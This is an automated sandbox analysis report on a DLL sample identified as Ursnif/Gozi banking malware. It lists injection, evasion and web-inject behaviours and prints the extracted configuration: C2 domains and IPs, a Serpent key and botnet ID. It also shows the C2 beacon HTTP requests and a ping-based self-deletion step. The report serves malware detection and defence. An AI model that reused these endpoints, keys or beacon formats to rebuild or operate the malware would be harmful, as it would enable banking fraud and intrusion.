Windows Analysis Report
tIJVb0BvkI.dll

Overview

General Information

Sample Name: tIJVb0BvkI.dll
Analysis ID: 620333
MD5: f28f39ada498d66c378fd59227e0f215
SHA1: 1c9c0584ad51f5be3f16b334d758c88b8cdb7b38
SHA256: 0a66e8376fc6d9283e500c6e774dc0a109656fd457a0ce7dbf40419bc8d50936
Tags: dllgeoGoziISFBITAUrsnif
Infos:

Detection

Ursnif
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Snort IDS alert for network traffic
Maps a DLL or memory area into another process
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Machine Learning detection for sample
Allocates memory in foreign processes
Uses ping.exe to check the status of other devices and networks
Self deletion via cmd delete
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Modifies the context of a thread in another process (thread injection)
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Writes registry values via WMI
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Compiles C# or VB.Net code
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

AV Detection
barindex
Found malware configuration
Source: 00000003.00000002.642402320.00000000009C0000.00000040.10000000.00040000.00000000.sdmp Malware Configuration Extractor: Ursnif {"RSA Public Key": "WDHdIpDR32hiBF82vKyfbd4Aeqb2endsG7KPr9+PRwpFwh6xHOPeXmivTfHV1J5O9BbOekXP+fpLTlNw78j8NdT4sNAaVFSXIxeuXWdoUw6r5lOTidqS1cBNYe3P3AFASRESMg14/OvBfHcw2QScm4OJeiHSYe26nzRyCo9Bsx0twNSvxA9Ev6ecU3aTGDNOX6EO6pfJFTv3oxkLljtitiqLzJjGUeio8ebUBdVSKBHjVo6ZyneL/fS9OUJFMNJ7HNXH2S3/amCXZuSmGf5nGAp2ln8QhGUUaVVkgcswKSlhcM0caruAqxzK8wdEz4NJO3xL/S8BTA8Kjk8SIMljp4q8BLwzx+qosOvcvZK8zl8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "gamexperts.net", "185.189.151.181", "185.189.151.186"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}
Multi AV Scanner detection for submitted file
Source: tIJVb0BvkI.dll ReversingLabs: Detection: 47%
Machine Learning detection for sample
Source: tIJVb0BvkI.dll Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01065FBB CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError, 3_2_01065FBB
Uses 32bit PE files
Source: tIJVb0BvkI.dll Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
Source: Binary string: ntdll.pdb source: rundll32.exe, 00000003.00000003.578381495.0000000005DD0000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.582897274.0000000005DD0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: d:\in\the\town\where\ahung.pdb source: tIJVb0BvkI.dll
Source: Binary string: ntdll.pdbUGP source: rundll32.exe, 00000003.00000003.578381495.0000000005DD0000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.582897274.0000000005DD0000.00000004.00001000.00020000.00000000.sdmp

Networking
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 185.189.151.28 80 Jump to behavior
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.5:49738 -> 13.107.42.16:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.5:49738 -> 13.107.42.16:80
Source: Traffic Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.5:49758 -> 185.189.151.28:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.5:49758 -> 185.189.151.28:80
Uses ping.exe to check the status of other devices and networks
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AS-SOFTPLUSCH AS-SOFTPLUSCH
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /drew/A_2FpZGEmDd1hJ/x8Dd5HmeBl3U4_2FUXOC4/CREe0umzxPdftfrl/rMm2EBrJhjkbJ6O/93dARdUH_2FoHr_2FV/0rrTpy9pc/1HdKJKRhTt7WBB4IQK6y/YM407RHM4U2q_2BMJQz/BPrYtABTFqi6nvzwRvIVUe/ZccTd3lUnONRt/36Ya8mGx/TeFUFTZ_2BUkjcjLP_2BV5Q/RmDIE1kWYj/OUKtn8nbT_2FNqVm2/qgQV8CVfL5vg/g3ZAMbEOx9s/O0o9X0KU42gffO/GcaP_2Fr_/2BV4K.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/blHtwIV2gkF3APGb/H5p0FtkLiZWuAmQ/YhhCMjxxL58xCK2uAV/WcBrEd5nc/_2FWto4DjLEhKaYvKzYG/62F8wcJNe79PrlqCY04/xwdKlEWPSs9w4mnPcT_2Ft/CBh9Jka_2BBO_/2FnUOsl_/2FeukB5Oo3R7waflgs2APeC/CflAOA3Y4e/fxy536Bj3MO1PfKKA/SIX3IKWM1adU/v_2FKt6MdMc/MqBgUjh6Lil97f/dDK979RFebXcHjW4yVEWU/DckDOUNWU_2FdK/Emn7xfA9.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/MoXDvlmqf2lW3/EB1qVgQf/WMGbWvk8B3AU0qv1MnO4KKv/8mMADRXtjZ/pOzmC2TJWxSBePQQf/vX4xXJ2IWlh9/BWCOo52VZG1/qFF3rGEbDGBwji/AFMqmR1WMmM5K0LIMoI8g/D8c5DrZSEGvsAUch/2HdMta1B0ffeRMZ/k3cTTdUk82uBVmy7RF/Rr_2FL2he/DujtrSekUisPa3nAIzJG/cz1155F97esi6v8egB5/_2FIb4A5CDY4_2BdVWbog2/rBYVbP7pL/9UBLZ.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: rundll32.exe, 00000003.00000003.517525489.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.189.151.28/
Source: rundll32.exe, 00000003.00000003.517536202.0000000000AFF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.189.151.28/drew/A_2Fp
Source: rundll32.exe, 00000003.00000002.642848364.0000000000AFF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.517536202.0000000000AFF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.189.151.28/drew/A_2FpZGEmDd1hJ/x8Dd5HmeBl3U4_2FUXOC4/CREe0umz
Source: rundll32.exe, 00000003.00000003.517536202.0000000000AFF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.189.151.28/drew/A_2FpZGEmDd1hJ/x8Dd5HmeBl3U4_2FUXOC4/CREe0umzxPdftfrl/rMm2EBr
Source: rundll32.exe, 00000003.00000002.642559499.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.642848364.0000000000AFF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.517536202.0000000000AFF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.642541789.0000000000A80000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.189.151.28/drew/A_2FpZGEmDd1hJ/x8Dd5HmeBl3U4_2FUXOC4/CREe0umzxPdftfrl/rMm2EBrJhjkbJ6O/93d
Source: rundll32.exe, 00000003.00000002.642559499.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.642848364.0000000000AFF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.189.151.28/drew/MoXDvlmqf2lW3/EB1qVgQf/WMGbWvk8B3AU0qv1MnO4KKv/8mMADRXtjZ/pOzmC2TJWxSBePQ
Source: rundll32.exe, 00000003.00000003.517525489.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.517515689.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.642709206.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.189.151.28/drew/blHtwIV2gkF3APGb/H5p0FtkLiZWuAmQ/YhhCMjxxL58xCK2uAV/WcBrEd5nc/_2FWto4DjLE
Source: rundll32.exe, 00000003.00000003.517525489.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.189.151.28/ws
Source: rundll32.exe, 00000003.00000003.517525489.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.642779966.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://config.edge.skype.com/drew/5_2BPw3OSauP4MGGq6siPB/_2BnCqBYV_2Ft/k9TDCaV5/kdb0RbX2RH_2FsWBq58E
Source: rundll32.exe, 00000003.00000003.571473861.0000000005DB8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000003.604150409.00000227ABD6C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000000F.00000003.595627275.0000029B55BFC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000000F.00000003.595756334.0000029B55BFC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://constitution.org/usdeclar.txt
Source: rundll32.exe, 00000003.00000003.571473861.0000000005DB8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000003.604150409.00000227ABD6C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000000F.00000003.595627275.0000029B55BFC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000000F.00000003.595756334.0000029B55BFC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://constitution.org/usdeclar.txtC:
Source: powershell.exe, 0000000A.00000003.604947338.00000227AB271000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.microsof
Source: rundll32.exe, 00000003.00000003.571473861.0000000005DB8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000003.604150409.00000227ABD6C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000000F.00000003.595627275.0000029B55BFC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000000F.00000003.595756334.0000029B55BFC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://https://file://USER.ID%lu.exe/upd
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01061CA5 ResetEvent,ResetEvent,InternetReadFile,GetLastError,ResetEvent,InternetReadFile,GetLastError, 3_2_01061CA5
Source: global traffic HTTP traffic detected: GET /drew/A_2FpZGEmDd1hJ/x8Dd5HmeBl3U4_2FUXOC4/CREe0umzxPdftfrl/rMm2EBrJhjkbJ6O/93dARdUH_2FoHr_2FV/0rrTpy9pc/1HdKJKRhTt7WBB4IQK6y/YM407RHM4U2q_2BMJQz/BPrYtABTFqi6nvzwRvIVUe/ZccTd3lUnONRt/36Ya8mGx/TeFUFTZ_2BUkjcjLP_2BV5Q/RmDIE1kWYj/OUKtn8nbT_2FNqVm2/qgQV8CVfL5vg/g3ZAMbEOx9s/O0o9X0KU42gffO/GcaP_2Fr_/2BV4K.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/blHtwIV2gkF3APGb/H5p0FtkLiZWuAmQ/YhhCMjxxL58xCK2uAV/WcBrEd5nc/_2FWto4DjLEhKaYvKzYG/62F8wcJNe79PrlqCY04/xwdKlEWPSs9w4mnPcT_2Ft/CBh9Jka_2BBO_/2FnUOsl_/2FeukB5Oo3R7waflgs2APeC/CflAOA3Y4e/fxy536Bj3MO1PfKKA/SIX3IKWM1adU/v_2FKt6MdMc/MqBgUjh6Lil97f/dDK979RFebXcHjW4yVEWU/DckDOUNWU_2FdK/Emn7xfA9.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/MoXDvlmqf2lW3/EB1qVgQf/WMGbWvk8B3AU0qv1MnO4KKv/8mMADRXtjZ/pOzmC2TJWxSBePQQf/vX4xXJ2IWlh9/BWCOo52VZG1/qFF3rGEbDGBwji/AFMqmR1WMmM5K0LIMoI8g/D8c5DrZSEGvsAUch/2HdMta1B0ffeRMZ/k3cTTdUk82uBVmy7RF/Rr_2FL2he/DujtrSekUisPa3nAIzJG/cz1155F97esi6v8egB5/_2FIb4A5CDY4_2BdVWbog2/rBYVbP7pL/9UBLZ.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Yara detected Ursnif
Source: Yara match File source: 00000003.00000003.517711866.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.469735730.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471516390.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000003.604150409.00000227ABD6C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000003.595627275.0000029B55BFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471577769.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.516674396.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471331342.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471420335.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471258459.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.571473861.0000000005DB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471561246.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000003.595756334.0000029B55BFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.518581548.0000000004F0C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.469997167.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 7020, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3300, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 4324, type: MEMORYSTR
Source: Yara match File source: 3.2.rundll32.exe.1060000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b694a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.500a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.50894a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b694a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.50b6b40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.50894a0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.500a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.50b6b40.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000003.641851907.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.517608074.000000000500A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.517654657.0000000005089000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.593793333.0000000000A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.584416137.0000000000A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.643432070.0000000004D8F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.595167769.0000000000A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.642402320.00000000009C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

E-Banking Fraud
barindex
Yara detected Ursnif
Source: Yara match File source: 00000003.00000003.517711866.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.469735730.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471516390.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000003.604150409.00000227ABD6C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000003.595627275.0000029B55BFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471577769.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.516674396.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471331342.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471420335.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471258459.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.571473861.0000000005DB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471561246.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000003.595756334.0000029B55BFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.518581548.0000000004F0C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.469997167.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 7020, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3300, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 4324, type: MEMORYSTR
Source: Yara match File source: 3.2.rundll32.exe.1060000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b694a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.500a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.50894a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b694a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.50b6b40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.50894a0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.500a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.50b6b40.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000003.641851907.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.517608074.000000000500A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.517654657.0000000005089000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.593793333.0000000000A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.584416137.0000000000A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.643432070.0000000004D8F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.595167769.0000000000A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.642402320.00000000009C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Disables SPDY (HTTP compression, likely to perform web injects)
Source: C:\Windows\explorer.exe Registry key value created / modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings EnableSPDY3_0 0 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01065FBB CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError, 3_2_01065FBB

System Summary
barindex
Writes registry values via WMI
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Uses 32bit PE files
Source: tIJVb0BvkI.dll Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
Detected potential crypto function
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01064BF1 3_2_01064BF1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01061645 3_2_01061645
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_0106829C 3_2_0106829C
Contains functionality to call native functions
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_0106190C GetProcAddress,NtCreateSection,memset, 3_2_0106190C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01066D0A NtMapViewOfSection, 3_2_01066D0A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01064321 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 3_2_01064321
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_010684C1 NtQueryVirtualMemory, 3_2_010684C1
Sample file is different than original file name gathered from version info
Source: tIJVb0BvkI.dll Binary or memory string: OriginalFilenamemyfile.exe$ vs tIJVb0BvkI.dll
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
PE file contains strange resources
Source: tIJVb0BvkI.dll Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: tIJVb0BvkI.dll ReversingLabs: Detection: 47%
Source: tIJVb0BvkI.dll Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
